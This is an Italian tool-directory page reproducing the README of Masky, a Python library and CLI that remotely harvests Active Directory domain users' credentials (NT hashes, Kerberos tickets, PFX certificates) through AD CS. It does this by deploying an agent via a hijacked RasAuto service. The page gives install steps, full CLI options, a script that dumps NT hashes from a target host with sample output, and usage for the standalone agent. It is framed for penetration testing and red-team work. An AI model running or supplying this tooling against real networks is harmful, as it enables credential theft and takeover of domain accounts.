Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Masky — Libreria Python con CLI che permette di dumpare da remoto le credenziali degli utenti del dominio tramite un ADCS senza dumpare la memoria del processo LSASS | Kitploit
Strumenti/GitHubGitHub/z4ksec/masky
ExploitPenetration TestingAutenticazione
GitHubz4ksec/masky

Masky

Libreria Python con CLI che permette di dumpare da remoto le credenziali degli utenti del dominio tramite un ADCS senza dumpare la memoria del processo LSASS

Vedi Repository
4044161 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Masky

PyPI version Twitter

Masky è una libreria Python che fornisce un modo alternativo per ottenere da remoto le credenziali degli utenti del dominio tramite un ADCS. È stato costruito uno strumento a riga di comando basato su questa libreria per raccogliere facilmente PFX, hash NT e TGT su una scala più ampia.

Questo strumento non sfrutta alcuna nuova vulnerabilità e non funziona tramite dump della memoria del processo LSASS. Sfrutta solo funzionalità legittime di Windows e Active Directory (impersonificazione dei token, autenticazione tramite certificato via Kerberos e recupero degli hash NT tramite PKINIT). È stato pubblicato un post sul blog per dettagliare le tecniche implementate e come funziona Masky.

Il codice sorgente di Masky è ampiamente basato sui fantastici strumenti Certify e Certipy. Ringrazio davvero i loro autori per le ricerche sulle tecniche offensive di sfruttamento contro ADCS (vedi sezione Ringraziamenti).

Installazione

La libreria Python3 Masky e la sua CLI associata possono essere semplicemente installate tramite il repository pubblico PyPi come segue:

root@kitploit:~
pip install masky

L'eseguibile dell'agente Masky è già incluso nel pacchetto PyPi.

Inoltre, se hai bisogno di modificare l'agente, il codice C# può essere ricompilato tramite un progetto Visual Studio situato in agent/Masky.sln. Richiede .NET Framework 4 per essere compilato.

Utilizzo

Masky è stato progettato come una libreria Python. Inoltre, è stata creata un'interfaccia a riga di comando basata su di essa per facilitarne l'uso durante attività di penetration test o Red Team.

Per entrambi gli utilizzi, devi prima ottenere il FQDN di un server CA e il suo nome CA distribuito tramite un ADCS. Queste informazioni possono essere facilmente recuperate tramite l'opzione certipy find o tramite lo strumento Microsoft integrato certutil.exe. Assicurati che il modello User predefinito sia abilitato sulla CA di destinazione.

Avvertenza: Masky distribuisce un eseguibile su ogni target tramite una modifica del servizio RasAuto esistente. Nonostante il ripristino automatico del valore iniziale di ImagePath, un errore imprevisto durante l'esecuzione di Masky potrebbe saltare la fase di pulizia. Pertanto, non dimenticare di reimpostare manualmente il valore originale in caso di un tale arresto indesiderato.

Riga di comando

La seguente demo mostra un utilizzo base di Masky prendendo di mira 4 sistemi remoti. La sua esecuzione consente di raccogliere hash NT, CCACHE e PFX di 3 diversi utenti del dominio dal dominio di test sec.lab.

Demo CLI di Masky

Masky fornisce anche opzioni comunemente offerte da tali strumenti (numero di thread, modalità di autenticazione, target caricati da file, ecc.).

root@kitploit:~
  __  __           _
 |  \/  | __ _ ___| | ___   _
 | |\/| |/ _` / __| |/ / | | |
 | |  | | (_| \__ \   <| |_| |
 |_|  |_|\__,_|___/_|\_\__,  |
  v0.0.3                 |___/

usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
             [targets ...]

positional arguments:
  targets               Destinazioni in formato CIDR, hostname e IP sono accettate, da un file o meno

options:
  -h, --help            mostra questo messaggio di aiuto ed esci
  -v, --verbose         Abilita messaggi di debug
  -ts, --timestamps     Mostra timestamp per ogni log
  -t THREADS, --threads THREADS
                        Dimensione del pool di thread (massimo 15)

Authentication:
  -d DOMAIN, --domain DOMAIN
                        Nome del dominio per autenticarsi
  -u USER, --user USER  Nome utente per autenticarsi
  -p PASSWORD, --password PASSWORD
                        Password per autenticarsi
  -k, --kerberos        Usa autenticazione Kerberos. Recupera le credenziali dal file ccache (KRB5CCNAME) in base ai parametri del target.
  -H HASHES, --hashes HASHES
                        Hash per autenticarsi (LM:NT, :NT o :LM)

Connection:
  -dc-ip ip address     Indirizzo IP del controller di dominio. Se omesso, utilizzerà la parte del dominio (FQDN) specificata nel parametro del target
  -ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
                        Nome dell'Autorità di Certificazione (SERVER\NOME_CA)

Results:
  -nh, --no-hash        Non richiedere hash NT
  -nt, --no-ccache      Non salvare file ccache
  -np, --no-pfx         Non salvare file pfx
  -o OUTPUT, --output OUTPUT
                        Percorso locale di una cartella dove verranno memorizzati i risultati di Masky (crea automaticamente la cartella se non esiste)

Libreria Python

Di seguito è riportato uno script semplice che utilizza la libreria Masky per raccogliere i segreti delle sessioni utente in esecuzione da un target remoto.

root@kitploit:~
from masky import Masky
from getpass import getpass


def dump_nt_hashes():
    # Define the authentication parameters
    ca = "srv-01.sec.lab\sec-SRV-01-CA"
    dc_ip = "192.168.23.148"
    domain = "sec.lab"
    user = "askywalker"
    password = getpass()

    # Create a Masky instance with these credentials
    m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)

    # Set a target and run Masky against it
    target = "192.168.23.130"
    rslts = m.run(target)

    # Check if Masky succesfully hijacked at least a user session
    # or if an unexpected error occured
    if not rslts:
        return False

    # Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
    print(f"Results from hostname: {rslts.hostname}")
    for user in rslts.users:
        print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")

    return True


if __name__ == "__main__":
    dump_nt_hashes()

La sua esecuzione genera il seguente output.

root@kitploit:~
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
         - sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
         - sec\askywalker - 8928e0723012a8471c0084149c4e23b1
         - sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a

Un oggetto MaskyResults contenente una lista di oggetti User viene restituito dopo un'esecuzione riuscita di Masky.

Si prega di guardare il modulo masky\lib\results.py per verificare i metodi e gli attributi forniti da queste due classi.

Agente Masky autonomo

Dalla versione 0.0.5 di Masky, l'eseguibile autonomo dell'agente può ora essere eseguito facilmente senza la CLI Python.

Ecco gli argomenti:

root@kitploit:~
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)

Il parametro /ca è obbligatorio come per la CLI Python. Inoltre, è stato aggiunto l'argomento /currentUser per evitare l'esecuzione dell'impersonificazione del token. Verrà eseguita una semplice richiesta di certificato nel contesto dell'utente corrente, basata sul template fornito (template). I parametri /output e /debug permettono di specificare il percorso dove verranno creati i file.

I valori predefiniti sono i seguenti:

  • currentUser: false (ovvero l'impersonificazione è abilitata);
  • template: User;
  • output: ./Masky_results.txt
  • debug: ./Masky_debug.txt

Demo agente autonomo di Masky

Riconoscimenti

  • Olivier Lyak per lo strumento Certipy e gli articoli associati
  • Will Schroeder e Lee Christensen per lo strumento Certify e l'articolo Certified Pre-Owned
  • Dirk-jan per i PKINITtools e il suo articolo ADCS NTLM relay
  • SecureAuthCorp e i relativi contributori per la libreria Impacket
  • Pixis per lo strumento Lsassy
  • Strumento Incognito e la sua implementazione in Metasploit
  • S3cur3Th1sSh1t per lo strumento SharpImpersonation e l'articolo associato
  • McAfee per il loro articolo sulle tecniche di impersonificazione dei token
Scarica lo strumento